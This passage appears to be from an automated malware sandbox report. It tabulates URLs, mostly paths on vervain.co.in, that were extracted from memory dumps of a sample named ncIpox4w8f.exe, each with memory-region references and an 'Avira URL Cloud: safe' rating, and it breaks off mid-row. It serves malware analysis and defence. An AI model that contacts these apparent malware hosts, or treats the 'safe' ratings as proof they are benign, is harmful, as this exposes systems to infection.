https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskny	ncIpox4w8f.exe, 00000000.00000003.347983893.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.324671146.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.280207493.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.286441271.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.288987691.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.309024067.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk0.1	ncIpox4w8f.exe, 00000000.00000003.347983893.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.309024067.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaima	ncIpox4w8f.exe, 00000000.00000003.340893762.0000000000809000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk	ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.283324784.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.448344033.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.421607105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.347983893.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.438586801.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.431331290.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.401276739.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskity	ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.448344033.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.472777647.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.470320636.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.445748706.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2	ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.443365066.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk	ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.448344033.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.443365066.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.421607105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.502989653.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.347983893.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.328765144.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.438586801.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.pregrad.netopenU	ncIpox4w8f.exe, 00000000.00000003.267479672.0000000005250000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.240443204.00000000029B8000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000000.238770915.0000000000401000.00000020.00000001.01000000.00000003.sdmp, ncIpox4w8f.exe, 00000000.00000003.261407563.0000000005450000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.289638766.0000000004F68000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000002.528757099.0000000002AC0000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.293026511.0000000005550000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.251263320.0000000005388000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.292545915.0000000005344000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.316597179.000000000540C000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.326228795.000000000552E000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.297908164.0000000005536000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.258002144.0000000005450000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.388263630.000000000571D000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.338081452.000000000547E000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.337053722.0000000005478000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.324769245.0000000005528000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.245693873.0000000004940000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.280613950.0000000005258000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.333581477.0000000005518000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.256226314.0000000005450000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://vervain.co.in/j	ncIpox4w8f.exe, 00000000.00000003.390661773.00000000007D6000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384479510.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk0.1	ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.390766181.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskotxe	ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.421607105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.438586801.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.472777647.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.470320636.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2y	ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/c	ncIpox4w8f.exe, 00000000.00000003.450585994.00000000007D7000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.455246680.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457658604.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/h	ncIpox4w8f.exe, 00000000.00000003.306711396.000000000080F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk2y	ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.367752702.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk2t	ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskotxe	ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.448344033.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.328765144.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.401276739.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.324671146.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.397940180.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.309024067.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000002.515020113.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk24e	ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.448344033.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000002.515020113.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk2	ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.367752702.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.390766181.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvskity	ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.448344033.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.347983893.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.438586801.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.470320636.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.344946189.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.367752702.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.445748706.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.382209137.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvsk	ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.443365066.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.421607105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.484095926.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.502989653.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.481752910.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.347983893.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.431331290.00000000007FC000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.401276739.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/a	ncIpox4w8f.exe, 00000000.00000003.266218899.000000000080F000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.313047462.000000000080F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.emerge.deDVarFileInfo$	ncIpox4w8f.exe, 00000000.00000003.348605602.000000000581A000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.374747011.0000000005726000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.267479672.0000000005250000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.248325276.0000000005350000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.304035366.0000000005614000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.350592323.0000000005833000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.293371459.000000000561C000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.501025618.000000000591C000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.400260793.0000000005904000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.445878505.0000000005921000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.334512087.000000000536E000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.261256374.000000000541C000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000002.546359558.00000000058FC000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.261407563.0000000005450000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.248105696.0000000005450000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.387645922.0000000005915000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.266085426.000000000542C000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.286385327.00000000053E8000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.391278569.0000000005914000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.260726768.00000000054E9000.00000004.00001000.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.355852428.0000000005851000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://vervain.co.in/	ncIpox4w8f.exe, 00000000.00000003.382209137.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.486329715.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.348023678.000000000080F000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.440772986.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk4.1.1	ncIpox4w8f.exe, 00000000.00000003.328765144.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.324671146.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvskotxe	ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.395675590.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.367752702.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.390766181.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.382209137.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/5412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvskitywdm	ncIpox4w8f.exe, 00000000.00000003.495649105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.491013350.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000002.515020113.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.500416141.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://vervain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskitywdm	ncIpox4w8f.exe, 00000000.00000003.477298168.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.450720668.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.438586801.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.472777647.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.470320636.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, 